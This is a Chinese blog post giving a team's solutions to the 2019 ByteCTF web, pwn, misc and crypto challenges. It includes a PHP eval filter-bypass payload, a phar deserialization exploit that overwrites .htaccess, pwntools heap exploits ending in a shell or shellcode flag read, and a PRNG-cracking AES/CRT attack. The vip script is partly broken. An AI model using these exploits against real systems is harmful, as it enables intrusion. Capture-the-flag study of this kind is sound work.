Xi4or0uji's blog

2019 bytectf wp

字数统计: 2k阅读时长: 10 min
2019/09/11 Share

前几天打了字节跳动的CTF,我还是太菜了,挂一挂队内wp

WEB

boring_code

题目给了源码,但是很是做了很久才出来,wtcl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}

if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
var_dump($code);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}

一开始的baidu域名绕过绕了快一天,最后买了个域名就出了(这个题出钱就出flag.jpg
接下来的就是绕过payload了,这个考点跟之前ph牛的无参函数绕过很相似,但是过滤更加严格

1
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

rss

这题人傻了,上一题的域名只活了两个小时就被腾讯云封了,然后就卡卡卡……心态爆炸压根没想起data协议,复现复现,wtcl
这题同样也需要百度域名,但是没有限制data协议,所以可以直接用data协议进行绕过,payload如下

1
data://baidu.com/plain;base64|xxxxxxxx(base64编码的xxe payload)

然后利用php://filter协议去读php源码

ezCMS

首先是扫后台扫到源码,然后就是进行源码审计,可以看到前半部分是个简单的哈希长度扩展攻击,想要文件上传先要绕过这关,脚本就不贴了,网上随便都能搜到
接下来的就是phar和zip的利用去删除网站文件绕过上传shell,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class File{
public $checker;
function __construct()
{
$this->checker = new Admin();
}
}
class Admin{
public $size;
public $checker;
public $content_check;
function __construct()
{
$this->checker = 1;
$this->size = 1024;
$this->content_check = new Profile();
}
}
class Check{
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/21817c35416d7783669a7c7d8ed6c73a/.htaccess";
$this->password = ZipArchive::OVERWRITE;
}
}
$phar = new Phar('exp.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new File();
$object -> s = 'aaa;';
$phar -> setMetadata($object);
$phar -> stopBuffering();

触发反序列化漏洞就用php://filter去绕过

PWN

mulnote

这道题就是一道double free(友好的出题人)
首先先在ida里面分析出函数,可以知道malloc<0x10000,也就是可以unsorted_bin和fast_bin的攻击,后面也一样,把函数分析出来,会发现free函数有UAF(动态调试比静态分析好多了,直接动态边调试边看),想到fastbin的attcak,首先unsorted_bin申请再释放泄露出真实地址,然后double free改malloc_hook为onegadget,最后getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 0
elf = ELF('./mulnote')
if local:
p = process('./mulnote')
libc = elf.libc
else:
p = remote('112.126.101.96', 9999)
libc = ELF('./libc.so')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size,content):
ru(">")
sl('C')
ru("size>")
sl(str(size))
ru("note>")
sd(content)
def puts():
ru(">")
sl('S')
def edit(index1,content):
ru(">")
sl('E')
ru("index>")
sl(str(index1))
ru("new note>")
sd(content)
def free(index1):
ru(">")
sl('R')
ru("index>")
sl(str(index1))
def exit():
ru(">")
sl('Q')
malloc(0xC8,'AAAAAAA')
free(0)
puts()
ru("[*]note[0]:\n")
malloc_hook = u64(rc(6).ljust(8,'\x00')) - 88 - 0x10
print "malloc_hook-->" + hex(malloc_hook)
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
onegadget = libc_base + 0x4526a
fake_chunk = malloc_hook - 0x23
malloc(0x68,'A'*0x68)
malloc(0x68,'B'*0x68)
malloc(0x68,'V'*0x68)
free(1)
free(3)
free(1)
malloc(0x68,p64(fake_chunk))
malloc(0x68,p64(fake_chunk))
malloc(0x68,p64(fake_chunk))
py = ''
py += 'a'*0x13 + p64(onegadget)
malloc(0x68,py)
ru(">")
sl('C')
ru("size>")
sl('200')
p.interactive()

vip

因为become vip函数中调用了prctl函数,而在输入名字处能溢出到v4,也就是prctl的第7个参数,溢出大小为0x30,所以可以构造沙箱规则将open函数关闭(顺便打开mprotect绕过NX),这样在edit函数中open(“/dev/urandom”, 0);返回值就为0,所以read(fd,a1,a2) == read(0,a1,a2) 就是用户输入了,然后这个函数没有对size进行检测所以存在任意长度的堆溢出,接下来就tcache了,但是因为execve函数被禁用了,所以这里用写shellcode直接读flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = "debug"
p = process("./vip")
#p = remote("112.126.103.14", 9999)
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
slog = lambda x : log.success(x)
flog = lambda x : log.success(x)
libc = ELF("./libc-2.27.so")
def choose(idx):
sla(": ", str(idx))
def alloc(idx):
choose(1)
sla(": ", str(idx))
def show(idx):
choose(2)
sla(": ", str(idx))
def free(idx):
choose(3)
sla(": ", str(idx))
def edit(idx, size, ctx):
choose(4)
sla(": ", str(idx))
sla(": ", str(size))
sa(": ", ctx)
def rule(code,jt ,jf ,k):
return p16(code) + p8(jt) + p8(jf) + p32(k)
#def build_rule():
# payload = ''
# payload+= rule(0x20 ,0x00, 0x00, 0x00000004) # A = arch
# payload+= rule(0x15 ,0x00, 0x03, 0xc000003e) # if (A != ARCH_X86_64) goto 0010
# payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = sys_number
# payload+= rule(0x15 ,0x01, 0x00, 0x00000002) # if (A == open) goto 0006
# payload+= rule(0x06 ,0x00, 0x00, 0x7fff0000) # return ALLOW
# # payload+= rule(0x15 ,0x03, 0x00, 0x0000003b) # if (A == execve) goto 0005
# payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
# return payload
def build_rule():
payload = ''
payload+= rule(0x20 ,0x00, 0x00, 0x00000000) # A = arch
payload+= rule(0x15 ,0x07, 0x00, 0x00000001) # if (A == write) goto 0009
payload+= rule(0x15 ,0x06, 0x00, 0x00000000) # if (A == read) goto 0009
payload+= rule(0x15 ,0x05, 0x00, 0x0000000a) # if (A == mprotect) goto 0009
payload+= rule(0x15 ,0x04, 0x00, 0x40000002) # if (A == open) goto 0009
payload+= rule(0x06 ,0x00, 0x00, 0x00050000) # return ERRNO(2)
return payload
for i in range(15):
alloc(i)
pay = "a"*0x20+build_size()
print hex(len(pay))
pause()
choose(6)
sa("name: \n", pay)
p.interactive()
edit(0, 0x70, "a"*0x50+p64(0)+p64(0x421))
#gdb.attach(p)
free(1)
alloc(0)
show(0)
leak = ru("\x7f").ljust(8, "\x00")
leak = u64(leak)
libc.address = leak-0x3ec090
log.info("libc.address --> %s",hex(libc.address))
alloc(0)
alloc(1)
free(6)
free(7)
free(8)
free(9)
free(0)
edit(2, 16, p64(libc.symbols['__free_hook']))
alloc(4)
alloc(3)
free(2)
edit(4, 20, p64(0x404140))
alloc(0)
alloc(0)
edit(3, 0x20, p64(libc.symbols['setcontext']+53))
frame = SigreturnFrame()
frame.rsp = 0x404150
frame.rip = libc.symbols["mprotect"]
frame.rdx = 0x7
frame.rsi = 0x1000
frame.rdi = 0x404000
payload = "./flag\x00\x00"
payload += p64(0)
payload += p64(0x404260) + p64(1) + p64(1)*32
code = '''
mov rdi, 0x404140;
mov rsi, 0;
mov rdx, 0;
mov eax, 0x40000002;
syscall;
mov rdi, 3;
mov rsi, 0x404160;
mov rdx, 100;
mov eax, 0;
syscall;
mov rdi, 1;
mov rsi, 0x404160;
mov rdx, 100;
mov eax, 1;
syscall;
'''
payload += asm(code)
edit(0, 0x1000, payload)
edit(4, 0x300, str(frame))
free(4)
p.interactive()

MISC

betgame

试了几次,对应关系如下

1
2
3
第一关:b --> s ; j --> b ; s -- j ;
第二关:j --> s ; s --> b ; b --> j;
第三关:s --> s ; b --> b ; j --> j;

然后次数只需要30次菜鸡就直接手动出flag了2333

jigsaw

按时间顺序头铁拼图……..

CRYPTO

lrlr

aes随机数漏洞加广播攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
from Crypto.Cipher import AES
from randcrack import RandCrack
import random

def GCRT(mi, ai):
assert( isinstance (mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a ) in zip(mi[1:],ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
k = c // d *libnum.invmod(curm // d, m // d)
cura += curm * k
curm = curm * m // d
cura %= curm
return (cura %curm, curm)
rc = RandCrack()
r = []
fd = open("old","r")
out = fd.readline()
while out:
r.append(int(out.strip('\n'),10))
out = fd.readline()
# print r
for i in r[-624:]:
rc.submit(i)
for i in range(24):
rc.predict_getrandbits(128)
p = []
for i in range(48):
predict = rc.predict_getrandbits(128)
p.append(predict)
# print p
fd = open("new","r")
out = fd.readline()
cn = []
while out:
cn.append(long_to_bytes(int(out.strip('\n'),16)))
# print out
out = fd.readline()
# print cn
mn = []
clist = []
for i in range(24):
key = long_to_bytes(p[24+i])
h = AES.new(key, AES.MODE_CBC, b"\x00"*16)
cnow = h.decrypt(cn[i])
key = long_to_bytes(p[i])
h = AES.new(key, AES.MODE_CBC, b"\x00"*16)
mnow = h.decrypt(cnow)
mn.append(mnow)
clist = list(map(bytes_to_long, mn))
# print clist
nlist = []
fd = open("cl","r")
out = fd.readline()
while out:
nlist.append(int(out.strip('\n')[2:-1],16))
out = fd.readline()
# print nlist
m = GCRT(nlist, clist)[0]
# print m
e = 17
if gmpy2.iroot(m, e)[1] == 1:
flag = gmpy2.iroot(m, e)[0]
print flag
# 61406796444626535559771097418338494728649815464609781204026855332620301752444

然后z3解方程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from z3 import *

seed = BitVec("f", 256+1)
c = 0x10000000000000000000000000000000000000000000000000000000000000223
m = 61406796444626535559771097418338494728649815464609781204026855332620301752444
def calc(f):
p = 0
for i in range(256-1, -1, -1):
p = p * 2
p = If(Extract(i, i, f)==1, p^f, p)
p = If(LShR(p, 256)==1, p^c, p)
return p
solver = Solver()
solver.add(m==calc(seed))
solver.add(Extract(256, 256, seed)==0)
for i in range(7, 257, 8):
solver.add(Extract(i, i, seed)==0)
print(solver)
if solver.check() == sat:
print(solver.model())
#flag{very_simple_random_problem}

还是太菜了Orz

CATALOG
  1. 1. WEB
    1. 1.1. boring_code
    2. 1.2. rss
    3. 1.3. ezCMS
  2. 2. PWN
    1. 2.1. mulnote
    2. 2.2. vip
  3. 3. MISC
    1. 3.1. betgame
    2. 3.2. jigsaw
  4. 4. CRYPTO
    1. 4.1. lrlr